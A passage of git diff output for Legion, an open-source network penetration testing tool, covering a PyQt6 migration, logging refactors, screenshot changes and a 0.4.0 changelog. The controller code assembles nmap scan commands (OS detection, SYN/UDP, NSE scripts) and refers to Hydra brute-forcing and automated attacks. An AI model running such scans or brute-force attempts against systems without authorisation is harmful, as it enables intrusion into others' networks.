menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) + action = menu.exec(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) if action: self.controller.handleProcessAction(selectedProcesses, action) @@ -999,7 +1007,7 @@ def contextMenuScreenshot(self, pos): menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - action = menu.exec_(self.ui.ScreenshotWidget.scrollArea.viewport().mapToGlobal(pos)) + action = menu.exec(self.ui.ScreenshotWidget.scrollArea.viewport().mapToGlobal(pos)) if action == zoomInAction: self.ui.ScreenshotWidget.zoomIn() @@ -1026,7 +1034,7 @@ def updateHostsTableView(self): self.ui.HostsTableView.setColumnHidden(i, True) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) - self.HostsTableModel.sort(3, Qt.DescendingOrder) + self.HostsTableModel.sort(3, Qt.SortOrder.DescendingOrder) ips = [] # ensure that there is always something selected for row in range(self.HostsTableModel.rowCount("")): @@ -1119,7 +1127,7 @@ def updateServiceTableView(self, hostIP): for i in [0,1,5,6,8,10,11]: # hide some columns self.ui.ServicesTableView.setColumnHidden(i, True) - self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) + self.ServicesTableModel.sort(2, Qt.SortOrder.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", @@ -1137,7 +1145,7 @@ def updatePortsByServiceTableView(self, serviceName): self.ui.ServicesTableView.horizontalHeader().resizeSection(0,165) # resize IP self.ui.ServicesTableView.horizontalHeader().resizeSection(1,65) # resize port self.ui.ServicesTableView.horizontalHeader().resizeSection(3,100) # resize protocol - self.PortsByServiceTableModel.sort(0, Qt.DescendingOrder) # sort by IP by default (override default) + self.PortsByServiceTableModel.sort(0, Qt.SortOrder.DescendingOrder) # sort by IP by default (override default) def updateInformationView(self, hostIP): @@ -1314,7 +1322,7 @@ def setupProcessesTableView(self): self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) - self.ProcessesTableModel.sort(15, Qt.DescendingOrder) + self.ProcessesTableModel.sort(15, Qt.SortOrder.DescendingOrder) def updateProcessesTableView(self): self.ProcessesTableModel.setDataList( @@ -1402,8 +1410,8 @@ def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filenam tempTextView.setReadOnly(True) if self.controller.getSettings().general_tool_output_black_background == 'True': p = tempTextView.palette() - p.setColor(QtGui.QPalette.Base, Qt.black) # black background - p.setColor(QtGui.QPalette.Text, Qt.white) # white font + p.setColor(QtGui.QPalette.ColorRole.Base, Qt.GlobalColor.black) # black background + p.setColor(QtGui.QPalette.ColorRole.Text, Qt.GlobalColor.white) # white font tempTextView.setPalette(p) # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black tempTextView.setStyleSheet("QMenu { color:black;}") @@ -1439,8 +1447,8 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): tempTextView.setReadOnly(True) if self.controller.getSettings().general_tool_output_black_background == 'True': p = tempTextView.palette() - p.setColor(QtGui.QPalette.Base, Qt.black) # black background - p.setColor(QtGui.QPalette.Text, Qt.white) # white font + p.setColor(QtGui.QPalette.ColorRole.Base, Qt.GlobalColor.black) # black background + p.setColor(QtGui.QPalette.ColorRole.Text, Qt.GlobalColor.white) # white font tempTextView.setPalette(p) # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black tempTextView.setStyleSheet("QMenu { color:black;}") @@ -1469,7 +1477,7 @@ def closeHostToolTab(self, index): if str(self.controller.getProcessStatusForDBId(dbId)) == 'Running': message = "This process is still running. Are you sure you want to kill it?" reply = self.yesNoDialog(message, 'Confirm') - if reply == QtWidgets.QMessageBox.Yes: + if reply == QtWidgets.QMessageBox.StandardButton.Yes: self.controller.killProcess(pid, dbId) else: return @@ -1478,7 +1486,7 @@ def closeHostToolTab(self, index): if str(self.controller.getProcessStatusForDBId(dbId)) == 'Waiting': message = "This process is waiting to start. Are you sure you want to cancel it?" reply = self.yesNoDialog(message, 'Confirm') - if reply == QtWidgets.QMessageBox.Yes: + if reply == QtWidgets.QMessageBox.StandardButton.Yes: self.controller.cancelProcess(dbId) else: return @@ -1582,7 +1590,7 @@ def closeBruteTab(self, index): if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": message = "This process is still running. Are you sure you want to kill it?" reply = self.yesNoDialog(message, 'Confirm') - if reply == QtWidgets.QMessageBox.Yes: + if reply == QtWidgets.QMessageBox.StandardButton.Yes: self.killBruteProcess(self.ui.BruteTabWidget.currentWidget()) else: return @@ -1616,7 +1624,7 @@ def callHydra(self, bWidget): if not self.controller.isHostInDB(bWidget.ipTextinput.text()): message = "This host is not in scope. Add it to scope and continue?" reply = self.yesNoDialog(message, 'Confirm') - if reply == QtWidgets.QMessageBox.No: + if reply == QtWidgets.QMessageBox.StandardButton.No: return else: log.info('Adding host to scope here!!') diff --git a/utilities/qtLogging.py b/utilities/qtLogging.py index 7d61842f..72d6ae21 100644 --- a/utilities/qtLogging.py +++ b/utilities/qtLogging.py @@ -1,4 +1,4 @@ -from PyQt5 import QtWidgets +from PyQt6 import QtWidgets import logging class QPlainTextEditLogger(logging.Handler): @@ -6,7 +6,7 @@ def __init__(self, parent): super().__init__() self.widget = QtWidgets.QPlainTextEdit(parent) #self.widget.setReadOnly(True) - #self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + #self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Policy.Expanding, QtWidgets.QSizePolicy.Policy.Expanding) #self.sizePolicy.setHorizontalStretch(1) #self.sizePolicy.setVerticalStretch(1) #self.widget.setSizePolicy(self.sizePolicy) From dde87f082f157d7f60f63ade6f42cc655bdaa20c Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 9 Nov 2023 19:00:03 -0600 Subject: [PATCH 440/450] Tons of updates --- .gitignore | 1 + CHANGELOG.txt | 12 + app/ApplicationInfo.py | 10 +- app/Screenshooter.py | 23 +- app/auxiliary.py | 2 +- app/legionLogo.txt | 54 +++ app/logging/legionLog.py | 15 +- app/settings.py | 1 + controller/controller.py | 102 +++-- custom_configs/large_scope_custom_ports.conf | 323 --------------- custom_configs/medium_scope_custom_ports.conf | 325 --------------- custom_configs/small_scope_all_ports.conf | 329 --------------- db/SqliteDbAdapter.py | 6 +- db/filters.py | 2 - db/postgresDbAdapter.py | 2 +- db/repositories/CVERepository.py | 15 +- db/repositories/HostRepository.py | 43 +- db/repositories/NoteRepository.py | 11 +- db/repositories/PortRepository.py | 27 +- db/repositories/ProcessRepository.py | 107 +++-- db/repositories/ScriptRepository.py | 22 +- db/repositories/ServiceRepository.py | 22 +- debian/control | 6 +- deps/Kali-2018.sh | 11 - deps/Kali-2018WSL.sh | 14 - deps/Kali-2019.sh | 14 - deps/Kali-2019WSL.sh | 17 - deps/Parrot-4.5.sh | 11 - deps/Parrot-4.5WSL.sh | 14 - deps/Parrot-4.6.sh | 11 - deps/Parrot-4.6WSL.sh | 14 - deps/Ubuntu-16.sh | 11 - deps/Ubuntu-16WSL.sh | 14 - deps/Ubuntu-18.sh | 11 - deps/Ubuntu-18WSL.sh | 14 - deps/Unknown.sh | 11 - deps/UnknownWSL.sh | 14 - deps/buildPython36.sh | 14 - deps/detectOs.sh | 52 +-- deps/detectPython.sh | 391 ++---------------- deps/fixQt.sh | 4 + deps/installDeps.sh | 9 +- deps/installPython36.sh | 60 --- images/legionConsole.png | Bin 0 -> 46082 bytes legion.conf | 26 +- legion.py | 25 +- requirements.txt | 2 +- startLegion.sh | 30 +- test.py | 49 --- ui/models/hostmodels.py | 1 + ui/view.py | 82 +++- utilities/stenoLogging.py | 195 --------- 52 files changed, 513 insertions(+), 2068 deletions(-) create mode 100755 app/legionLogo.txt delete mode 100644 custom_configs/large_scope_custom_ports.conf delete mode 100644 custom_configs/medium_scope_custom_ports.conf delete mode 100644 custom_configs/small_scope_all_ports.conf delete mode 100755 deps/Kali-2018.sh delete mode 100755 deps/Kali-2018WSL.sh delete mode 100755 deps/Kali-2019.sh delete mode 100755 deps/Kali-2019WSL.sh delete mode 100755 deps/Parrot-4.5.sh delete mode 100755 deps/Parrot-4.5WSL.sh delete mode 100755 deps/Parrot-4.6.sh delete mode 100755 deps/Parrot-4.6WSL.sh delete mode 100755 deps/Ubuntu-16.sh delete mode 100755 deps/Ubuntu-16WSL.sh delete mode 100755 deps/Ubuntu-18.sh delete mode 100755 deps/Ubuntu-18WSL.sh delete mode 100755 deps/Unknown.sh delete mode 100755 deps/UnknownWSL.sh delete mode 100755 deps/buildPython36.sh create mode 100755 deps/fixQt.sh delete mode 100755 deps/installPython36.sh create mode 100755 images/legionConsole.png delete mode 100644 test.py delete mode 100644 utilities/stenoLogging.py diff --git a/.gitignore b/.gitignore index aa20e73c..e997e5f0 100644 --- a/.gitignore +++ b/.gitignore @@ -127,3 +127,4 @@ docker/cleanupExited.sh log/*.log fixname.sh +ghostdriver.log diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 06101dfb..ddbf7d0b 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,15 @@ +LEGION 0.4.0 + +* Refactored to Python 3.8+ +* Refactored to PyQt 6 +* Database calls migrated to sessions (dramatically improves performance, reliability and huge memory reductions) +* Refactored Logging +* General cleanup +* Screenshot tool revised to use PhantomJs webdriver (other webdrivers coming soon) +* Simplify startup scripts, dependancy installations scripts, etc +* Eliminate support for distributions other than Kali 2022 and later or Ubuntu 20.04 or later +* Improved WSL support (handling of path conversions for calling the Windows NMAP installation from the program) + LEGION 0.3.9 * Start time message box ensuring run as root diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index ae9c35e9..3dbeb20a 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.4.0", - "build": '1699395762', + "build": '1699577982', "author": "Gotham Security", "copyright": "2023", "links": ["http://github.com/GoVanguard/legion/issues", "https://gotham-security.com/legion"], "emails": [], - "update": '11/07/2023', + "update": '11/09/2023', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + @@ -36,3 +36,9 @@ def getVersion(): return f"{applicationInfo['version']}-{applicationInfo['build']}" + + +def getConsoleLogo(): + fileObj = open('./app/legionLogo.txt', 'r') + allData = fileObj.read() + return allData diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 5d9849fd..e2a76263 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -13,13 +13,18 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . """ -import subprocess +import warnings +warnings.filterwarnings("ignore", category=UserWarning) + +from selenium import webdriver from PyQt6 import QtCore +from app.logging.legionLog import getAppLogger from app.http.isHttps import isHttps from app.timing import getTimestamp +logger = getAppLogger() class Screenshooter(QtCore.QThread): done = QtCore.pyqtSignal(str, str, str, name="done") # signal sent after each individual screenshot is taken @@ -33,6 +38,7 @@ def __init__(self, timeout): def tsLog(self, msg): self.log.emit(str(msg)) + logger.info(msg) def addToQueue(self, ip, port, url): self.queue.append([ip, port, url]) @@ -42,7 +48,6 @@ def updateOutputFolder(self, screenshotsFolder): self.outputfolder = screenshotsFolder def run(self): - while self.processing == True: self.sleep(1) # effectively a semaphore @@ -65,7 +70,7 @@ def run(self): self.save("http://" + url, ip, port, outputfile) except Exception as e: - self.tsLog('Unable to take the screenshot. Moving on..') + self.tsLog('Unable to take the screenshot. Error follows.') self.tsLog(e) continue @@ -74,13 +79,11 @@ def run(self): if not len(self.queue) == 0: # if meanwhile queue were added to the queue, start over unless we are in pause mode self.run() - self.tsLog('Finished.') - def save(self, url, ip, port, outputfile): self.tsLog('Saving screenshot as: ' + str(outputfile)) - command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' - ' --insecure --print-backgrounds=on --out="{outputfolder}/{outputfile}"') \ - .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) - p = subprocess.Popen(command, shell=True) - p.wait() # wait for command to finish + driver = webdriver.PhantomJS(executable_path="/usr/bin/phantomjs") + driver.set_window_size(1280, 1024) + driver.get(url) + driver.save_screenshot("{0}/{1}".format(self.outputfolder, outputfile)) + driver.quit() self.done.emit(ip, port, outputfile) # send a signal to add the 'process' to the DB diff --git a/app/auxiliary.py b/app/auxiliary.py index 0de59ef0..7ecc7cc4 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -142,7 +142,7 @@ def setTableProperties(table, headersLen, hiddenColumnIndexes=[]): table.setColumnHidden(i, False) for i in hiddenColumnIndexes: # hide some columns - table.setColumnHidden(i, True) + table.hideColumn(i) table.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) # create the right-click context menu diff --git a/app/legionLogo.txt b/app/legionLogo.txt new file mode 100755 index 00000000..49620872 --- /dev/null +++ b/app/legionLogo.txt @@ -0,0 +1,54 @@ +  +  Xt:.    +  ;@t    +   8 S:  +  S X@.   :%8888XXXXSS8@X%:.   +  :X@%  .%88XX888@888@@8888@@@8%:.   +  .8 @:  ;88@@88XSX%SX%XSXX%tSX888:.   +  .:8:Xt.  :X8@X88XX8S%XS%%%%%X%%%@XSt.   +  t.@@:8  .88X8@SSXXS%S%t%%%SS%tS%XS%;..    + .8.88:8   8@S@XXX%%%S%tS%%%%Xt%%%XX;..   + X.888;;  X@XXXSSSS%%tS%t%%S%t%%SX%;:.    + .8t8S8@8;.  ;8X@XXX%XtSt%tS%%%%S%SS@t:..   + .@%8X 8t.   888XSX%@%%%S%%%S%SS%%%@;:..   + :8S88;XSt.   .8@@X@SS%S%%%S%S@SX%X@Xt:.    + .X@;S% 88    ;88@@SX%S%S%@X%%ttt%%%;:.    + ;@8StS.@:.     %88X8X%S@S@St%S;%Xt%8t;..     +  ;X@@8@:.   .S888SS@S%%%SSS@S%88X8t:. .tt..  +  .t@8@..   .%888XX%X%%X88  t88888@8@8%88.  +   :%@8:     .;88@SX%%%X t888%tStt%SS8X %@%:  +  .;X8.   :88X@%XSX8t88%%t%XtXtt@;@ .SX   +   .;X%;.   .@888@%8@t;8S@S@;%@%@Stt@@@;8    +   :t%8X.     t8@@S@@8SXX;t%t%X;tt%t%t8tS%   + .%St%t.   .;888@888S88tS;t%;%%%tXSXSXt8.  ... ... ..   + .%tSt%:.    :@8@X8S@:X8@%St%%%%%%;%S@:@ t. .%@%X;t;8S8t:.  ;8%;@tt;8 .tXX t8.   t%S:; t888X;:@:S. ;8X ;t;S;@@:. tS . %88X::@tS:.  @X.%t;t@8.   .X@%8tSS8t.  +  .;StX::    t@8888t..8S;tSt%%%Xt%t%S@%@:. .. @. @: ..  .  . .S;   X8X: 8tS;S 8: .  ;%@@;.. 88 @8. . .8;S; S;  :88X.tS: ..8S S @:   .. S ...  + .:tS%:.    .t@88Xt. ;%S;tStX;;%X;X;X@t:.   .t .%.    .8. ;@.   .S ;. 88 :S:. .@%8. 8% SS. X@ .8%    . :S@.:8t .tX %. ;S.  :@ @.  +  :t%X;.     .:8888t  .;S;t%ttt%Xtt%%X8St:. .S.. 8t.     .8. %8    :t. X8 t8;.  .;:. .X8 :S. @8: tX.     8S ;:S. :%.: S 88.  :X:@   +  .%SS;.    :88XS. ...%X%tSXt%%StX;88t;.   .8% .t.   .8 ;8  @:@: :  S8     8S .SS. @8. @8;    t. 8   ;8;X:t8S:;:8 :8.@   +  .;tX:.   88;. .t@tS%%X%St%%%88t:.   .@% %t   :S :@@8@S.t8: 88 88:     .@8 :% .S; SS:   .8 .8;  :@:X.. X8 %S.  :X:@    +   .;;;:.   .;S8888SXS8XSXStt%St @tX@S.    @% %t   :: :@@888%X8 8 S@;    @S SX. S; tS.   :8. 8;  :8:@ .@ ;.t%@::8.X.  +  ;tt.  .X8X888@X888888StS@X8:8  :@;.  .St %t :8: t8. .@%t..%S ;S;. .8SSX%tt8t@: .@8 .S  8S. @8;    ;X ;X:  :@:X .: @ : ;8S@ @   +  .tt;:.  t8888888888@888888%@8tX@S8 8;t.   .t; %t  .  t@ .::. ;8. .@8:  %;t %;. 8S %t .:. t;.    8X :8  ;8;X :8:. 8t.@  +  .tt%.   .888@@@XS%S@88888@88@88t8:t%88X8.   .. tt :  ;.;X :8 8S..X:. 8X .SSt :%.  .8@ .X  :8 ..%8   %  S8.   :S:X .;88 .;8.   +   .;t:..  tX888%%tttS%%t;@%S8@88:88.SS:Xt8@ ;@. 8;   % :;.t. :S: X8t:..;8:;:t%;8;:  ;  ;.%t   X%. @8:  .::8;SS%@:.  .88S.S t:  ;S 8   t ; .S.  +   ;;t.   :X@8@SXS;%%%%St;%88888S;888SX:S@.X:  .X% X.8:tS:8@:X..88 ;@ tXSX  %.  :8.S @:;.8;8;tS. ..X. X8:  8%X:88:; ;%t.;:.: :8@.8t:  :;S@;8   +   :t:.  S888t8ttt%t%St%%St8@X8.X 888@@;tSS@ .S@St.  ..:. .t@8St.  .;;; S.    X@:: X@;: .  ;8@%.  ;X8@;. ::t@;   :XX:  :8@Xt..%8@. .. 8X8.  +  :;;.   S@X8@@;t%%%%St%X;;%tXX8%t 8@%;8S8;8X8:   ::::::.  .:....   :::::. .     ... . ... ... . . ..   ...    .   ..  +  :;:.  @88S Xtt%%%XtStttt%t%S%S8X8X8t.;%SS@88%.  ...      ...                           +  .;:.   .X8t@@%Xtt%%tt;ttt%%%%tSXt@8:t;@;888;@;8:                           +   .;;..   8S%@88@%%SS@;%t%%%%%%%%%tt%%888.:S8X:%88:.                     + .;;:.    8t8.8SStX%@%tSt%%%%t%X;%%%%%%S8888888%88S:.                      + :t;. ::88@%%%t%X%SX%S;%ttXt;t%SS%Xt8X888.S@@@t%...                    + .;;.. .XXSt8t%S;XtXS@%%%%X%%t;t%Sttt%Xt88; 8%X@8%%S%%t%;::.                   + .t;.. ;::8:8@8Xtt%XSX@@X8XSX%t%t%t;t%%%t%tX@tSX8tSS%8S%@tX%St;;.          +  .;;: :8@8@S8888tSSX8888@SS8%%%%%tt%%Xt%@tXt88S@:@8@StXtXSXt%XtSt;.           +  .;t.; @8X%t8888X@88888@88888t%St%%tttXt%@tX@%:t8@SSSStS%X%@t8%tSX;:.        +  .;;@.;88t@@X8@t888888888@XS@SXttttt%%tS@%XSS X%8 @@tSXS%StSSttXSSX%t;.     +  .;; @8@SXS88@S8X8888888@X8@88SX%%%%%%tt@8%S@S @8:@%Xt%SStSS%X%XtXtSX;:.      +  .;%@%8@t%X8@@8888888@88@XSS888X%t%%%St%@S@SX8S8888@XX@tSX%@tt%%S%Xt%St:.    +  .;%;88S%8@@8@X88888888XX8@X88X%Stt%t%%%X8X 8;: ::8SX@@8888%X%X%%%S%%%Xt;:    +  .;SX88tX@8S8X88@@88@@X@88S8888S%%S;%%St%t8%@X88@8@%XXSttX8@tX%XSStSXt%Xt:.     +   .;t8%%X88@8@X@888XXX@8X8X88%@X%XtttS;tX%@8@t%8@SS@8SXX%@%tt@8SStSXtSX%Xtt;.  +   .t%S@@88@;XX8X8XXX88888X88%XSSSX%t%t%%tSX@@X8t88 8SXt%S%X%%%t%S%%SXtt88SS;.   +   .;t8888@;.XSS88@8@S8@@S8888XXX%Stt%X%XXS8@8X8888:8Xt%SX%%S%%Xt%S%StX%%%StS:.   diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index acc9f9e9..43bcf506 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -57,7 +57,16 @@ def getOrCreateCachedLogger(logName: str, logPath: str, console: bool, cachedLog if cachedLogger: return cachedLogger - from utilities.stenoLogging import get_logger - log = get_logger(logName, path=logPath, console=console) - log.setLevel(logging.INFO) + import logging + from rich.logging import RichHandler + + logging.basicConfig( + level="NOTSET", + format="%(message)s", + datefmt="[%X]", + handlers=[RichHandler(rich_tracebacks=True)] + ) + + log = logging.getLogger("rich") + log.setLevel(logging.DEBUG) return log diff --git a/app/settings.py b/app/settings.py index a93b10aa..f6c1014d 100644 --- a/app/settings.py +++ b/app/settings.py @@ -107,6 +107,7 @@ def getSettingsByGroup(self, name: str) -> dict: for k in keys: settings.update({str(k): str(self.actions.value(k))}) self.actions.endGroup() + log.debug("getSettingsByGroup name:{0}, result:{1}".format(str(name), str(settings))) return settings def backupAndSave(self, newSettings, saveBackup=True): diff --git a/controller/controller.py b/controller/controller.py index b96fde96..391f0f4c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -80,12 +80,18 @@ def initNmapImporter(self, updateProgressObservable: UpdateProgressObservable): self.nmapImporter = NmapImporter(updateProgressObservable, self.logic.activeProject.repositoryContainer.hostRepository) self.nmapImporter.done.connect(self.importFinished) + self.nmapImporter.done.connect(self.view.updateInterface) + self.nmapImporter.done.connect(self.view.updateToolsTableView) + self.nmapImporter.done.connect(self.view.updateProcessesTableView) self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) def initPythonImporter(self): self.pythonImporter = PythonImporter() self.pythonImporter.done.connect(self.importFinished) + self.pythonImporter.done.connect(self.view.updateInterface) + self.pythonImporter.done.connect(self.view.updateToolsTableView) + self.pythonImporter.done.connect(self.view.updateProcessesTableView) self.pythonImporter.schedule.connect(self.scheduler) # run automated attacks self.pythonImporter.log.connect(self.view.ui.LogOutputTextView.append) @@ -104,17 +110,17 @@ def initBrowserOpener(self): def initTimers(self): self.updateUITimer = QTimer() self.updateUITimer.setSingleShot(True) - self.updateUITimer.timeout.connect(self.view.updateProcessesTableView) - self.updateUITimer.timeout.connect(self.view.updateToolsTableView) + #self.updateUITimer.timeout.connect(self.view.updateProcessesTableView) + #self.updateUITimer.timeout.connect(self.view.updateToolsTableView) self.updateUI2Timer = QTimer() self.updateUI2Timer.setSingleShot(True) - self.updateUI2Timer.timeout.connect(self.view.updateInterface) + #self.updateUI2Timer.timeout.connect(self.view.updateInterface) self.processTableUiUpdateTimer = QTimer() self.processTableUiUpdateTimer.timeout.connect(self.view.updateProcessesTableView) # Update only when queue > 0 - self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother + self.processTableUiUpdateTimer.start(500) # Faster than this doesn't make anything smoother # this function fetches all the settings from the conf file. Among other things it populates the actions lists # that will be used in the context menus. @@ -243,7 +249,6 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-host-discover' outputfile = unixPath2Win(outputfile) command = f"nmap -n -sV -O --version-light -T{str(nmapSpeed)} {targetHosts} -oA {outputfile}" - log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) else: @@ -357,6 +362,8 @@ def handleHostAction(self, ip, hostid, actions, action): re.sub("[^0-9a-zA-Z]", "", str(self.settings.hostActions[i][1])) + "-" + ip command = str(self.settings.hostActions[i][2]) command = command.replace('[IP]', ip).replace('[OUTPUT]', outputfile) + if 'nmap' in command: + command = "{0} -oA {1}".format(command, unixPath2Win(outputfile)) # check if same type of nmap scan has already been made and purge results before scanning if 'nmap' in command: @@ -403,7 +410,7 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): if action.text() == 'Take screenshot': for ip in targets: url = ip[0] + ':' + ip[1] - self.screenshooter.addToQueue(url) + self.screenshooter.addToQueue(ip[0], ip[1], url) self.screenshooter.start() return @@ -426,6 +433,8 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): command = str(self.settings.portActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]).replace('[OUTPUT]', outputfile) + if 'nmap' in command: + command = "{0} -oA {1}".format(command, unixPath2Win(outputfile)) if 'nmap' in command and ip[2] == 'udp': command = command.replace("-sV", "-sVU") @@ -588,9 +597,9 @@ def getProcessesFromDB(self, filters, showProcesses='noNmap', sort='desc', ncol= #################### PROCESSES #################### def checkProcessQueue(self): - log.info('# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) - log.info('# Fast processes running: ' + str(self.fastProcessesRunning)) - log.info('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) + log.debug('Queue maximum concurrent processes: {0}'.format(str(self.settings.general_max_fast_processes))) + log.debug('Queue processes running: {0}'.format(str(self.fastProcessesRunning))) + log.debug('Queue processes waiting: {0}'.format(str(self.fastProcessQueue.qsize()))) if not self.fastProcessQueue.empty(): self.processTableUiUpdateTimer.start(1000) @@ -605,15 +614,16 @@ def checkProcessQueue(self): # Add Timeout next_proc.waitForFinished(10) formattedCommand = formatCommandQProcess(next_proc.command) + log.debug('Up next: {0}, {1}'.format(formattedCommand[0], formattedCommand[1])) next_proc.start(formattedCommand[0], formattedCommand[1]) self.logic.activeProject.repositoryContainer.processRepository.storeProcessRunningStatus( next_proc.id, getPid(next_proc)) elif not self.fastProcessQueue.empty(): - log.debug('> next process was canceled, checking queue again..') + log.debug('Process was canceled, checking queue again..') self.checkProcessQueue() - #else: - # log.info("Halting process panel update timer as all processes are finished.") - # self.processTableUiUpdateTimer.stop() + else: + log.info("Halting process panel update timer as all processes are finished.") + self.processTableUiUpdateTimer.stop() def cancelProcess(self, dbId): log.info('Canceling process: ' + str(dbId)) @@ -768,32 +778,29 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): stageDataSplit = str(stageData).split('|') stageOp = stageDataSplit[0] stageOpValues = stageDataSplit[1] + log.debug("Stage {0} stageOp {1}".format(str(stage), str(stageOp))) + log.debug("Stage {0} stageOpValues {1}".format(str(stage), str(stageOpValues))) + + if stageOp == "" or stageOp == "NOOP" or stageOp == "SKIP": + log.debug("Skipping stage {0} as stageOp is {1}".format(str(stage), str(stageOp))) + return + + if discovery: # is it with/without host discovery? + command = "nmap -T4 -sV -sSU -O " + else: + command = "nmap -Pn -sSU " - command = "nmap " - if not discovery: # is it with/without host discovery? - command += "-Pn " - command += "-T4 -sV " - - #if not stage == 1 and not stage == 3: - # command += "-n " # only do DNS resolution on first stage - #if os.geteuid() == 0: # if we are root we can run SYN + UDP scans - # command += "-sSU " - # if stage == 2: - # command += '-O ' # only check for OS once to save time and only if we are root otherwise it fail - #else: - # command += '-sT ' - if stageOp == 'PORTS': - command += '-p ' + stageOpValues + ' ' + targetHosts + ' -oA ' + outputfile + command += '-p ' + stageOpValues + ' -vvvv ' + targetHosts + ' -oA ' + outputfile elif stageOp == 'NSE': command = 'nmap -sV --script=' + stageOpValues + ' -vvvv ' + targetHosts + ' -oA ' + outputfile + log.debug("Stage {0} command: {1}".format(str(stage), str(command))) + self.runCommand('nmap', 'nmap (stage ' + str(stage) + ')', str(targetHosts), '', '', command, getTimestamp(True), outputfile, textbox, discovery=discovery, stage=stage, stop=stop) def importFinished(self): - self.updateUI2Timer.stop() - self.updateUI2Timer.start(800) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this # every time. this can be improved) self.view.displayAddHostsOverlay(False) @@ -808,8 +815,8 @@ def screenshotFinished(self, ip, port, filename): imageviewer.setProperty('dbId', QVariant(str(dbId))) # to make sure the screenshot tab appears when it is launched from the host services tab self.view.switchTabClick() - self.updateUITimer.stop() # update the processes table - self.updateUITimer.start(900) + #self.updateUITimer.stop() # update the processes table + #self.updateUITimer.start(900) def processCrashed(self, proc): processRepository = self.logic.activeProject.repositoryContainer.processRepository @@ -821,7 +828,7 @@ def processCrashed(self, proc): log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) log.info('Process {qProcessId} Crash Output: {qProcessOutput}'.format(qProcessId=str(proc.id), - qProcessOutput=proc.errorString())) + qProcessOutput=proc.errorString())) # this function handles everything after a process ends # def processFinished(self, qProcess, crashed=False): @@ -830,6 +837,7 @@ def processFinished(self, qProcess): try: if not processRepository.isKilledProcess( str(qProcess.id)): # if process was not killed + log.debug('Process: {0}\nCommand: {1}\noutputfile: {2}'.format(str(qProcess.id), str(qProcess.command), str(qProcess.outputfile))) if not qProcess.outputfile == '': # move tool output from runningfolder to output folder if there was an output file outputfile = winPath2Unix(qProcess.outputfile) @@ -837,9 +845,11 @@ def processFinished(self, qProcess): outputfile) if 'nmap' in qProcess.command: # if the process was nmap, use the parser to store it if qProcess.exitCode() == 0: # if the process finished successfully - log.info("qProcess.outputfile {0}".format(str(outputfile))) - log.info("self.logic.activeProject.properties.runningFolder {0}".format(str(self.logic.activeProject.properties.runningFolder))) - log.info("self.logic.activeProject.properties.outputFolder {0}".format(str(self.logic.activeProject.properties.outputFolder))) + log.debug("qProcess.outputfile {0}".format(str(outputfile))) + log.debug("self.logic.activeProject.properties.runningFolder {0}".format( + str(self.logic.activeProject.properties.runningFolder))) + log.debug("self.logic.activeProject.properties.outputFolder {0}".format( + str(self.logic.activeProject.properties.outputFolder))) newoutputfile = outputfile.replace( self.logic.activeProject.properties.runningFolder, self.logic.activeProject.properties.outputFolder) @@ -854,12 +864,6 @@ def processFinished(self, qProcess): self.pythonImporter.setHostIp(str(qProcess.hostIp)) self.pythonImporter.setPythonScript(pythonScript) self.pythonImporter.start() - #exitCode = qProcess.exitCode() - #if exitCode != 0 and exitCode != 255: - # log.info("Process {qProcessId} exited with code {qProcessExitCode}" - # .format(qProcessId=qProcess.id, 